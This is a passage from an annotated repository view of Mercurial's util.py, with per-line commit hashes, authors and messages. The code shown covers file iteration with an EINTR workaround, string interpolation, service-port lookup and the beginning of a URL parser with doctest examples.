6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
2829 else:
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
2830 tonativeeol = pycompat.identity
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
2831 fromnativeeol = pycompat.identity
36837
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2832 nativeeolwriter = pycompat.identity
31777
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
2833
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2834 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2835 3,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2836 0,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2837 ):
30418
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2838 # There is an issue in CPython that some IO methods do not handle EINTR
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2839 # correctly. The following table shows what CPython version (and functions)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2840 # are affected (buggy: has the EINTR bug, okay: otherwise):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2841 #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2842 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2843 # --------------------------------------------------
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2844 # fp.__iter__ | buggy | buggy | okay
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2845 # fp.read* | buggy | okay [1] | okay
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2846 #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2847 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2848 #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2849 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
44868
3aed7d262bdf cleanup: remove compatibility code for Python < 2.7.4
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
2850 # like "read*" work fine, as we do not support Python < 2.7.4.
30418
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2851 #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2852 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2853 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2854 # CPython 2, because CPython 2 maintains an internal readahead buffer for
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2855 # fp.__iter__ but not other fp.read* methods.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2856 #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2857 # On modern systems like Linux, the "read" syscall cannot be interrupted
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2858 # when reading "fast" files like on-disk files. So the EINTR issue only
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2859 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2860 # files approximately as "fast" files and use the fast (unsafe) code path,
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2861 # to minimize the performance impact.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2862
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2863 def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2864 fastpath = True
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2865 if type(fp) is file:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2866 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2867 if fastpath:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2868 return fp
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2869 else:
44868
3aed7d262bdf cleanup: remove compatibility code for Python < 2.7.4
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
2870 # fp.readline deals with EINTR correctly, use it as a workaround.
3aed7d262bdf cleanup: remove compatibility code for Python < 2.7.4
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
2871 return iter(fp.readline, b'')
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2872
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2873
30418
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2874 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2875 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2876 def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2877 return fp
30395
10514a92860e util: add iterfile to workaround a fileobj.__iter__ issue with EINTR
Jun Wu <quark@fb.com>
parents: 30359
diff changeset
2878
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2879
7879
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
2880 def iterlines(iterator):
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
2881 for chunk in iterator:
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
2882 for line in chunk.splitlines():
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
2883 yield line
9610
d78fe60f6bda make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents: 9569
diff changeset
2884
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2885
9610
d78fe60f6bda make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents: 9569
diff changeset
2886 def expandpath(path):
d78fe60f6bda make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents: 9569
diff changeset
2887 return os.path.expanduser(os.path.expandvars(path))
10239
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
2888
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2889
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2890 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
11988
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2891 """Return the result of interpolating items in the mapping into string s.
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2892
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2893 prefix is a single character string, or a two character string with
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2894 a backslash as the first character if the prefix needs to be escaped in
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2895 a regular expression.
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2896
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2897 fn is an optional function that will be applied to the replacement text
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2898 just before replacement.
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2899
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2900 escape_prefix is an optional flag that allows using doubled prefix for
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2901 its escaping.
11988
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2902 """
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2903 fn = fn or (lambda s: s)
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2904 patterns = b'|'.join(mapping.keys())
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2905 if escape_prefix:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2906 patterns += b'|' + prefix
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2907 if len(prefix) > 1:
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2908 prefix_char = prefix[1:]
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2909 else:
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2910 prefix_char = prefix
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2911 mapping[prefix_char] = prefix_char
35145
25c543944bc0 py3: add b'' to regular expressions which are raw strings
Pulkit Goyal <7895pulkit@gmail.com>
parents: 35014
diff changeset
2912 r = remod.compile(br'%s(%s)' % (prefix, patterns))
11988
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2913 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2914
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2915
12076
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2916 def getport(port):
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2917 """Return the port for a given network service.
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2918
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2919 If port is an integer, it's returned as is. If it's a string, it's
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2920 looked up using socket.getservbyname(). If there's no matching
26587
56b2bcea2529 error: get Abort from 'error' instead of 'util'
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 26493
diff changeset
2921 service, error.Abort is raised.
12076
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2922 """
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2923 try:
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2924 return int(port)
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2925 except ValueError:
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2926 pass
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2927
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2928 try:
36038
15c8c4ac5d9c py3: pass system string to socket.getservbyname
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35900
diff changeset
2929 return socket.getservbyname(pycompat.sysstr(port))
12076
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2930 except socket.error:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2931 raise error.Abort(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2932 _(b"no port number associated with service '%s'") % port
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2933 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2934
12087
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
2935
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2936 class url(object):
14146
1618c4f6f15b tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents: 14100
diff changeset
2937 r"""Reliable URL parser.
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2938
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2939 This parses URLs and provides attributes for the following
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2940 components:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2941
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2942 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2943
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2944 Missing components are set to None. The only exception is
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2945 fragment, which is set to '' if present but empty.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2946
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2947 If parsefragment is False, fragment is included in query. If
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2948 parsequery is False, query is included in path. If both are
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2949 False, both fragment and query are included in path.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2950
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2951 See http://www.ietf.org/rfc/rfc2396.txt for more information.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2952
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2953 Note that for backward compatibility reasons, bundle URLs do not
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2954 take host names. That means 'bundle://../' has a path of '../'.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2955
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2956 Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2957
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2958 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2959 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2960 >>> url(b'ssh://[::1]:2200//home/joe/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2961 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2962 >>> url(b'file:///home/joe/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2963 <url scheme: 'file', path: '/home/joe/repo'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2964 >>> url(b'file:///c:/temp/foo/')
14915
28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents: 14825
diff changeset
2965 <url scheme: 'file', path: 'c:/temp/foo/'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2966 >>> url(b'bundle:foo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2967 <url scheme: 'bundle', path: 'foo'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2968 >>> url(b'bundle://../foo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2969 <url scheme: 'bundle', path: '../foo'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2970 >>> url(br'c:\foo\bar')
14146
1618c4f6f15b tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents: 14100
diff changeset
2971 <url path: 'c:\\foo\\bar'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2972 >>> url(br'\\blah\blah\blah')
14699
388af80c058b url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14640
diff changeset
2973 <url path: '\\\\blah\\blah\\blah'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2974 >>> url(br'\\blah\blah\blah#baz')
15074
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
2975 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2976 >>> url(br'file:///C:\users\me')
20106
c33d9217e99d util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents: 20000
diff changeset
2977 <url scheme: 'file', path: 'C:\\users\\me'>
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2978
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2979 Authentication credentials:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2980
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2981 >>> url(b'ssh://joe:xyz@x/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2982 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2983 >>> url(b'ssh://joe@x/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2984 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2985
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2986 Query strings and fragments:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2987
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2988 >>> url(b'http://host/a?b#c')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2989 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2990 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2991 <url scheme: 'http', host: 'host', path: 'a?b#c'>
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2992
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2993 Empty path:
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2994
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2995 >>> url(b'')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2996 <url path: ''>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2997 >>> url(b'#a')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
2998 <url path: '', fragment: 'a'>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2999 >>> url(b'http://host/')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
3000 <url scheme: 'http', host: 'host', path: ''>
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
3001 >>> url(b'http://host/#a')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
3002 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
3003
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
3004 Only scheme:
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
3005
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
3006 >>> url(b'http:')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30030
diff changeset
3007 <url scheme: 'http'>
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3008 """
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3009
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3010 _safechars = b"!~*'()+"
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3011 _safepchars = b"/!~*'()+:\\"
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3012 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3013
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3014 def __init__(self, path, parsequery=True, parsefragment=True):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3015 # We slowly chomp away at path until we have only the path left
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3016 self.scheme = self.user = self.passwd = self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3017 self.port = self.path = self.query = self.fragment = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3018 self._localpath = True
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3019 self._hostport = b''
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3020 self._origpath = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3021
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3022 if parsefragment and b'#' in path:
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
